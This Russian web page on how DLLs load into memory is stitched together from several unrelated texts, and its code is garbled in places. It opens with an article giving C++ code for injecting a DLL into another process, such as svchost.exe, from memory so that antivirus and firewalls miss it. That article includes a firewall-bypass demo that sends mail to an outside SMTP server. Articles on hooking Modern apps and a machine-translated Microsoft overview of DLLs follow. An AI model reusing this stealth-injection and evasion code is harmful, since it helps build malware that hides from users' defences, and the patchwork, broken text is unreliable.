Как dll загружается в память

Обновлено: 04.07.2024

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

Класс CInjectDllEx

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath - Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory - Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе - используется аргумент lpszDllPath.

[in] lpDllBuff - Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath - Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult - Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult - Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

LPVOID Memory = VirtualAllocEx(Process,0,sizeof(Inject),
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,"LoadLibraryA");
Inject.AddrExitThread = GetProcAddress(hKernel32,"ExitThread");
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src - адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = "crash86@mail.ru";

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname("smtp.mail.ru");
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = "";
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,"helo friend\r\n");
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,"mail from:<crash86@mail.ru>\r\n");
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,"rcpt to:<");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле "Куда"
lstrcpy(tszRequestAnswer,"To: ");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

// Заполняем поле "От кого"
SendRequest(s,"From: crash86@mail.ru\r\n");

// Завершаем передачу
SendRequest(s,"\r\n.\r\n");
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,"quit\r\n");
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,"Отправка почты с помощью DLL на диске. ","TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe", FALSE,NULL, "SendMailDll.dll",TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);

MessageBox(0,"Отправка почты с помощью DLL в памяти. ",
"TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe",TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), "DLL"))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.


Для чего вообще нужно внедрять свои DLL-ки в чужие процессы и устанавливать там хуки? Для того, чтобы понять какие функции будет вызывать это приложение, с какими параметрами и что эти функции вернут. Таким образом мы можем понять внутреннюю логику работы этого приложения, узнать к каким файлам оно пытается получить доступ, какие данные пересылает по сети, мы можем добавить в него логирование, профилирование, отладить баг, получить из приложения некоторые данные или наоборот — добавить в его интерфейс что-нибудь нужное нам. Хуки использует известная утилита Spy++ для работы с окнами приложений, DirectX-отладчики вроде RenderDoc, некоторые утилиты от SysInternals, программы типа ApiMonitor и т.д.

Некоторое время назад я писал вводные статьи об использовании хуков на примерах библиотек Microsoft Detours и madCodeHook (если вы совсем не знакомы с хуками — это то, с чего можно начать). Описанных там техник достаточно для работы с обычными приложениями, но время не стоит на месте и вот сегодня у нас уже есть Metro Modern-приложения, входящие в комплект Windows 8 и Windows 10, а также распространяющиеся через Microsoft Store программы сторонних производителей. К примеру, новый браузер Spartan — это Modern-приложение. Внедрение DLL в эти процессы имеет свои особенности и на первый взгляд может даже показаться невозможным, но это не так. В этой статье я расскажу, как мы можем залезть внутрь Modern-приложения и установить в нём хуки в своих коварных целях.

32-битные и 64-битные приложения
Операционная система Windows бывает 32-разрядная и 64-разрядная. Соответственно, Modern-приложения тоже могут быть 32-битные либо 64-битные. При загрузке приложения в магазин Microsoft разработчик собирает обе версии (плюс еще, возможно, ARM), а Windows уже сам решает, какую загрузить пользователю. Отсюда следует очевидный вывод, что DLL-ка, которую мы будем внедрять в Modern-приложение, тоже должна быть в двух вариантах. Менее очевидный вывод в том, что приложение, которое будет «забрасывать» нашу DLL-ку в чужой процесс, тоже должно быть соответствующей битности. Нам ведь нужно запустить внутри чужого процесса поток, который загрузит нашу библиотеку и вызовет из неё какую-то функцию. Делается это через вызов CreateRemoteThread(Ex), а вот уже она требует одинаковой битности вызывающего и вызываемого процессов (а иначе как передавать адреса?).

  • InjectedLibrary32.dll
  • InjectedLibrary64.dll
  • Injector32.exe
  • Injector64.exe

Доступ к внедряемой DLL
Как вы, возможно, знаете, Modern-приложения живут в своих песочницах, откуда они имеют доступ только к своей папке и некоторым другим доступным для них (ограниченным) ресурсам ОС. К примеру, Modern-приложение не может вот просто так взять и открыть любой файл с диска. Для нас это означает то, что попытавшись заставить чужое приложение подгрузить нашу библиотеку в своё адресное пространство — мы получим ошибку доступа. Это можно легко увидеть, воспользовавшись, к примеру, утилитой ProcMon.


Что же делать? Разрешить доступ к файлу внедряемой библиотеки для Modern-приложений. Для этого есть системная утилита icacls. Вот эта команда открывает доступ к файлу на диске для всех Modern-приложений:

Теперь ошибки доступа у нас не будет.

Линковка DLL-ки
Но не всё так просто. DLL-ка может иметь зависимости. И даже если вам кажется, что их нет — возможно, вы забываете о зависимости от VC++ Runtime Library. По умолчанию созданная в Visual Studio С++ библиотека предполагает динамическую линковку с рантайм-библиотекой С++. Это означает, что когда какое-то приложение захочет загрузить вашу библиотеку — функция LoadLibrary() первым делом увидит, что вам необходима, к примеру, библиотека msvcp90r.dll и попытается её найти, что вобщем-то, получится если речь идёт об обычном (не Modern) приложении и наличии соответствующего VC++ Redistribution Package. Что касается Modern-приложений, то порядок поиска DLL-ок совсем другой. Если коротко: будучи вызванной из Modern-приложения, LoadLibrary() не найдёт библиотеки VC++ Redistribution Package, даже если они до этого были успешно установлены.

  • Копировать VC++ Runtime Library в папку Modern-приложения
  • Копировать VC++ Runtime Library в %SystemRoot%\system32
  • Прописать библиотеки в специальный раздел в реестре (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
  • Использовать статическую линковку (когда код VC++ Runtime Library включается в тело нашей DLL-ки)

Первые два способа крайне некрасивы (а без аккаунта администратора и невозможны), третий — сработает, но влияет на глобальную конфигурацию ОС, что тоже может быть чревато последствиями. Так что самый простой вариант — статическая линковка (ключи /MTd и /MT на вкладке Code Generation).


Цифровая подпись
Решив все вопросы с доступом к файлу DLL-ки может показаться, что у нас всё получилось — ProcMon не показывает никаких ошибок доступа. Но инъекция всё равно не работает — DLL-ка не появляется в списке загруженных модулей процесса. Что же пошло не так? На этот вопрос нам даёт ответ просмотр Windows Event Viewer.


Операционная система не хочет загружать нашу DLL-ку, поскольку она не подписана. В этом месте мне стало тревожно, поскольку я уж было подумал, что все модули, загружаемые в Modern-приложение, должны быть подписаны цифровой подписью одного издателя (разработчика). Но, к счастью, это не так. Windows требует от DLL-ки просто наличия валидной цифровой подписи, но не требует её соответствия подписи автора приложения. Т.е. мы можем взять подписанную DLL-ку от Хрома и забросить её в Spartan. Что же делать нам? Получить сертификат и подписывать нашу DLL-ку.

Да, это серьёзно усложняет работу. Но ведь в принципе, если мы разрабатываем нормальный продукт, а не какие-нибудь вирусы\трояны\малвари\кейлоггеры\локеры — у нас не будет проблем с получением сертификата и его использованием для подписи DLL-ки. Вообще, я считаю эту защиту одной из самых серьёзных шагов Microsoft по защите пользовательских данных и изоляции Modern-приложений в песочнице. Фактически от желающего пробросить мостик к приложению требуют предъявить документы и идентифицироваться, а это остановит 99% скрипт-киддисов.

Права доступа на канал связи
Ок, теперь наша DLL-ка внедрена в чужой процесс, она может вешать хуки на разные системные функции, делать что-то полезное, но… Сама она живёт в той же песочнице, что и родительский процесс, то есть ни передать данные «наружу», ни получать команды «извне» она не может, ведь для этого нужно создать канал связи, на который она по умолчанию не имеет прав. Как решать эту задачу я уже отдельно рассказывал вот в этой статье, а здесь просто упоминаю в качестве пункта, о котором важно не забыть.

В этой статье описывается, что такое динамическая библиотека ссылок (DLL) и различные проблемы, которые могут возникнуть при использовании DLLs. В нем также описаны некоторые сложные проблемы, которые следует учитывать при разработке собственных DLLs.

Применяется к: Windows 10 — все выпуски
Исходный номер КБ: 815065

Сводка

В описании того, что такое DLL, в этой статье описываются методы динамической связи, зависимости от DLL, точки входа DLL, экспорт функций DLL и средства устранения неполадок DLL.

Для Windows операционных систем большая часть функций операционной системы предоставляется DLL. Кроме того, при запуске программы на одной из Windows операционных систем большая часть функций программы может быть предоставлена DLLs. Например, некоторые программы могут содержать много различных модулей, и каждый модуль программы содержится и распространяется в DLLs.

Использование DLLs способствует модульизации кода, повторному использованию кода, эффективному использованию памяти и уменьшению дискового пространства. Таким образом, операционная система и программы загружаются быстрее, работают быстрее и меньше места на диске на компьютере.

Если программа использует DLL, проблема, называемая зависимостью, может привести к тому, что программа не будет работать. Когда программа использует DLL, создается зависимость. Если другая программа переописает и нарушает эту зависимость, оригинальная программа может не успешно выполниться.

Дополнительная информация

DLL — это библиотека, которая содержит код и данные, которые могут использоваться одновременно более чем одной программой. Например, в Windows операционных системах DLL Comdlg32 выполняет общие функции, связанные с диалоговое окно. Каждая программа может использовать функции, содержащиеся в этом DLL, для реализации открытого диалоговое окно. Это способствует повторному использованию кода и эффективному использованию памяти.

С помощью DLL программа может быть модульной в отдельные компоненты. Например, программа бухгалтерского учета может быть продана модулем. Каждый модуль может быть загружен в основную программу во время запуска, если этот модуль установлен. Поскольку модули являются отдельными, время загрузки программы быстрее. Модуль загружается только при запросе этой функции.

Кроме того, обновления легче применять к каждому модуле, не затрагивая другие части программы. Например, у вас может быть программа заработной платы, и налоговые ставки меняются каждый год. Если эти изменения изолированы в DLL, вы можете применить обновление, не нуждаясь в сборке или установке всей программы снова.

В следующем списке описываются некоторые файлы, реализованные как DLLs в Windows операционных системах:

ActiveX Файлы элементов управления (.ocx)

Пример управления ActiveX — это управление календарем, которое позволяет выбрать дату из календаря.

Файлы панели управления (.cpl)

Примером файла .cpl является элемент, расположенный в панели управления. Каждый элемент — это специализированная DLL.

Файлы драйвера устройства (drv)

Пример драйвера устройства — это драйвер принтера, который управляет печатью на принтере.

Преимущества DLL

В следующем списке описываются некоторые преимущества, которые предоставляются при помощи программы DLL:

Использует меньше ресурсов

Если несколько программ используют ту же библиотеку функций, DLL может уменьшить дублирование кода, загружаемого на диск и в физической памяти. Это может значительно повлиять на производительность не только программы, запущенной на переднем плане, но и других программ, работающих на Windows операционной системе.

Продвигает модульную архитектуру

DLL помогает развивать модульные программы. Это помогает разрабатывать крупные программы, которые требуют нескольких языковых версий или программы, которая требует модульной архитектуры. Пример модульной программы — это программа учета, которая имеет множество модулей, которые можно динамически загрузить во время запуска.

Облегчает развертывание и установку

Если функции в DLL требуется обновление или исправление, развертывание и установка DLL не требуют повторной связи программы с DLL. Кроме того, если несколько программ используют один и тот же DLL, все эти программы будут получать выгоду от обновления или исправления. Эта проблема может возникать чаще при использовании стороннее DLL, регулярно обновляемого или исправленного.

Зависимости от DLL

Когда программа или DLL используют функцию DLL в другой DLL, создается зависимость. Программа больше не является самостоятельной, и в случае слома зависимости у нее могут возникнуть проблемы. Например, программа не может работать, если происходит одно из следующих действий:

  • Зависимая DLL обновляется до новой версии.
  • Фиксирована зависимая DLL.
  • Зависимая DLL перезаписана более ранней версией.
  • Зависимая DLL удаляется с компьютера.

Эти действия называются конфликтами DLL. Если обратная совместимость не обеспечивается, программа может не успешно выполняться.

В следующем списке описываются изменения, внесенные в Windows 2000 г. и в более поздних Windows операционных системах, чтобы свести к минимуму проблемы зависимости:

Windows Защита файлов

В Windows защиты файлов операционная система предотвращает обновление или удаление системных DLLs несанкционированным агентом. Когда установка программы попытается удалить или обновить DLL, определяемую как система DLL, Windows файловой защиты будет искать допустимую цифровую подпись.

Частные DLLs позволяет изолировать программу от изменений, внесенных в общие DLLs. Частные DLLs используют сведения, определенные для версии, или пустой файл, чтобы обеспечить выполнение версии .local DLL, используемой программой. Чтобы использовать частные DLLs, найдите DLLs в корневой папке программы. Затем для новых программ добавьте сведения о версии в DLL. Для старых программ используйте пустой .local файл. Каждый метод сообщает операционной системе использовать частные DLLs, расположенные в корневой папке программы.

Средства устранения неполадок DLL

Для устранения неполадок DLL доступны несколько средств. Вот некоторые из этих средств.

Уокер зависимостей

Средство Уокер зависимостей может повторно сканировать все зависимые DLLs, используемые программой. При открываемой программе в "Уолкер зависимостей" уолкер зависимостей делает следующие проверки:

  • Уокер зависимостей проверяет отсутствующие DLLs.
  • Уокер зависимостей проверяет файлы программы или DLLs, которые не являются допустимыми.
  • Уокер зависимостей проверяет соответствие функций импорта и экспорту.
  • Уокер зависимостей проверяет на наличие ошибок круговой зависимости.
  • Уокер зависимостей проверяет для модулей, которые не являются действительными, так как модули для другой операционной системы.

С помощью Уолкера зависимостей можно документировать все DLLs, которые использует программа. Это может помочь предотвратить и устранить проблемы DLL, которые могут возникнуть в будущем. В следующем каталоге при установке Visual Studio 6.0 расположено приложение Dependency Walker.

drive\Program Files\Microsoft Visual Studio\Common\Tools

Универсальное решение проблем DLL

Средство универсального решения проблем DLL (DUPS) используется для аудита, сравнения, документа и отображения данных DLL. В следующем списке описываются утилиты, которые составляют средство DUPS:

Эта утилита регистрирует все DLLs на компьютере и регистрирует сведения в текстовом файле или файле базы данных.

Эта утилита сравнивает DLLs, перечисленные в двух текстовых файлах, и создает третий текстовый файл, содержащий различия.

Эта утилита загружает текстовые файлы, созданные с помощью Dlister.exe и Dcomp.exe в базу данных dllHell.

Эта утилита предоставляет графический пользовательский интерфейс (GUI) версии Dtxt2DB.exe утилиты.

База данных справки DLL

База данных справки по DLL поможет вам найти конкретные версии DLLs, установленные программным обеспечением Майкрософт.

Разработка DLL

В этом разделе описываются проблемы и требования, которые следует учитывать при разработке собственных DLLs.

Типы DLLs

При загрузке DLL в приложении два метода связывания разрешат вызывать экспортируемую функцию DLL. Два метода связывания — динамическая привязка во время нагрузки и динамическая связь во время работы.

Динамическая привязка по времени нагрузки

В динамической привязке времени нагрузки приложение делает явные вызовы для экспортируемой DLL-функций, таких как локальные функции. Чтобы использовать динамическое связывание во время нагрузки, при компиляции и ссылке приложения предостережете файл (.h) и файл импортной библиотеки (.lib). При этом linker предоставит системе сведения, необходимые для загрузки DLL и решения экспортируемой точки функции DLL во время нагрузки.

Динамическая привязка по времени

При динамической привязке во время работы приложение вызывает функцию или функцию для загрузки LoadLibrary LoadLibraryEx DLL во время запуска. После успешной загрузки DLL вы используете функцию для получения адреса экспортируемой функции GetProcAddress DLL, которую необходимо вызвать. При использовании динамической привязки во время запуска не требуется файл библиотеки импорта.

В следующем списке описываются критерии применения для использования динамической привязки во время нагрузки и использования динамической привязки по времени.

Если важна начальная производительность запуска приложения, необходимо использовать динамическую привязку к времени выполнения.

В динамических связях с нагрузкой экспортные функции DLL похожи на локальные функции. Это упрощает вызов этих функций.

При динамической привязке во время работы приложение может ветвь для загрузки различных модулей по мере необходимости. Это важно при разработке многоязычных версий.

Точка входа в DLL

При создании DLL можно дополнительно указать функцию точки входа. Функция точки входа называется, когда процессы или потоки присоединяются к DLL или отсоединяются от DLL. Функцию точки входа можно использовать для инициализации структур данных или для уничтожения структур данных, как того требует DLL. Кроме того, если приложение многопоточное, можно использовать локальное хранилище потоков (TLS) для выделения памяти, которая является закрытой для каждого потока в функции точки входа. Следующий код является примером функции точки входа DLL.

Когда функция точки входа возвращает значение FALSE, приложение не будет запускаться, если вы используете динамическую привязку по времени нагрузки. Если используется динамическая привязка по времени запуска, загрузка только отдельной DLL не будет.

Функция точки входа должна выполнять только простые задачи инициализации и не должна вызывать другие функции загрузки или завершения DLL. Например, в функции точки входа не следует прямо или косвенно вызывать функцию LoadLibrary или LoadLibraryEx функцию. Кроме того, не следует вызывать FreeLibrary функцию, когда процесс завершается.

В многопотоковых приложениях убедитесь, что доступ к глобальным данным DLL синхронизирован (безопасный поток), чтобы избежать возможного повреждения данных. Для этого используйте TLS для предоставления уникальных данных для каждого потока.

Экспорт функций DLL

Чтобы экспортировать функции DLL, можно добавить ключевое слово функции в экспортируемую функцию DLL или создать файл определения модуля (.def), в который перечислены экспортные функции DLL.

Чтобы использовать ключевое слово функции, необходимо объявить каждую функцию, которую необходимо экспортировать со следующим ключевым словом:
__declspec(dllexport)

Чтобы использовать экспортируемые функции DLL в приложении, необходимо объявить каждую функцию, которую необходимо импортировать по следующему ключевому слову: __declspec(dllimport)

Как правило, для раздельного экспортного утверждения и утверждения используется один файл загона, в который имеется определенное заявление и ifdef import заявление.

Вы также можете использовать файл определения модуля для объявления экспортных функций DLL. При использовании файла определения модуля не нужно добавлять ключевое слово функции к экспортируемой функции DLL. В файле определения модуля объявляется заявление и LIBRARY EXPORTS утверждение для DLL. Следующий код — пример файла определения.

Пример DLL и приложения

В Visual C++ 6.0 можно создать DLL, выбрав тип проекта Win32 Dynamic-Link Library или тип MFC AppWizard (dll).

Следующий код — пример DLL, созданного в Visual C++ с помощью типа проекта Win32 Dynamic-Link Library.

Следующий код — пример проекта приложения Win32, который вызывает экспортируемую функцию DLL в DLL SampleDLL.

При динамической привязке во время нагрузки необходимо связать импортную библиотеку SampleDLL.lib, созданную при создании проекта SampleDLL.

При динамической привязке во время работы используется код, аналогичный следующему коду, для вызова SampleDLL.dll экспортируемой функции DLL.

При компиляции и ссылке приложения SampleDLL операционная Windows ищет DLL SampleDLL в следующих расположениях в этом порядке:

Папка Windows системы

Функция GetSystemDirectory возвращает путь к папке Windows системы.

Функция GetWindowsDirectory возвращает путь Windows папки.

Файл сборки содержит манифест сборки, метаданные типа, код промежуточного языка Microsoft (MSIL) и другие ресурсы. Манифест сборки содержит метаданные сборки, которые предоставляют всю информацию, необходимую для самостоятельного описания сборки. В манифест сборки включены следующие сведения:

  • Имя сборки
  • Сведения о версии
  • Сведения о культуре
  • Информация о сильных именах
  • Список файлов сборки
  • Тип справочной информации
  • Справочные и зависящие сведения о сборке

Код MSIL, содержащийся в сборке, не может выполняться напрямую. Вместо этого выполнение кода MSIL управляется с помощью CLR. По умолчанию при создании сборки сборка является закрытой для приложения. Для создания общей сборки необходимо назначить сборке сильное имя, а затем опубликовать сборку в кэше глобальной сборки.

В следующем списке описываются некоторые функции сборки по сравнению с функциями DLLs Win32:

При создании сборки в манифесте сборки содержатся все сведения, необходимые clR для запуска сборки. Манифест сборки содержит список зависимых сборок. Таким образом, CLR может поддерживать согласованный набор сборок, используемых в приложении. В DLL Win32 невозможно поддерживать согласованность между набором DLLs, используемыми в приложении при использовании общих DLLs.

В манифесте сборки сведения о версиях записываются и применяются clR. Кроме того, политики версий могут обеспечить применение использования для конкретной версии. В DLL Win32 версия не может применяться операционной системой. Необходимо убедиться, что DLLs совместимы с обратной совместимость.

Развертывание бок о бок

Сборки поддерживают развертывание бок о бок. Одно приложение может использовать одну версию сборки, а другое приложение может использовать другую версию сборки. Начиная с Windows 2000 г. развертывание поддерживается путем размещения DLLs в папке приложения. Кроме того, Windows защита файлов предотвращает перезаписываемую или замену системных DLLs несанкционированным агентом.

Самостоятельное сдерживание и изоляция

Приложение, разработанное с помощью сборки, может быть автономным и изолированным от других приложений, работающих на компьютере. Эта функция помогает создавать установки с нулевым воздействием.

Сборка запускается под разрешениями безопасности, которые поставляются в манифесте сборки и контролируются clR.

Для начала нужно разобраться, что же такое DLL.
DLL — это сокращение фразы Dynamic-Link Library — динамически подключаемая библиотека.
Первоначальная идея введения библиотек заключалась в более рациональном использовании ресурсов ПК, таких как ОЗУ и НЖМД. Предполагалось, что различные приложения будут использовать одну библиотеку, тем самым ликвидируя проблему сохранения одинаковых участков кода в различных местах и многократную загрузку одинаковых участков в ОЗУ.

В дальнейшем, было решено увеличить эффективность разработки приложений за счёт модульности. Обновление самих DLL должно было позволить расширять и усовершенствовать систему, не затрагивая при этом всех приложений. Однако, данная идея столкнулась с проблемой одновременного требования приложениями разных, не полностью совместимых версий библиотек, что приводило к сбоям. Данная проблема была названа "DLL Hell".

По сути, DLL - это относительно независимый участок кода, имеющий свою оболочку.
Оболочка DLL имеет секции импорта/экспорта.

